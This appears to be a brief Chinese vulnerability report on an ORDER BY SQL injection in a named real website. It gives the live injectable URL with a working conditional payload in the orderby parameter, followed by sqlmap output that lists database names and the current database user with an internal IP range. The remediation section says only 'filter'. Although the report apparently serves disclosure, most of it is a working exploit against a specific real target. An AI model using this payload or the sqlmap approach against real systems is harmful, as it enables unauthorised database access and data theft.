order by 注射技巧

注入点：

http://go.178.com/console/ror/plist?id=253&orderby=id,if(1=1,1,(select 1 from information_schema.tables))&sort=1&limit=999&search=

1=1时
 

1=2时，报错
 

设置一下sqlmap，顺利跑出数据

web application technology: Nginx

back-end DBMS: MySQL >= 5.0.0

[17:46:18] [INFO] fetching database names

[17:46:18] [INFO] fetching number of databases

[17:46:18] [WARNING] running in a single-thread mode. Please consider usage of option '--threads' for faster data retrieval

[17:46:18] [INFO] retrieved:

[17:46:18] [WARNING] reflective value(s) found and filtering out

3

[17:46:19] [INFO] retrieved: imformation_schema

[17:46:42] [INFO] retrieved: go

[17:46:46] [INFO] retrieved: test

available databases [3]:

[*] `go`

[*] imformation_schema

[*] test

current user: 'gouser@192.168.20.%'
 

修复方案：

过滤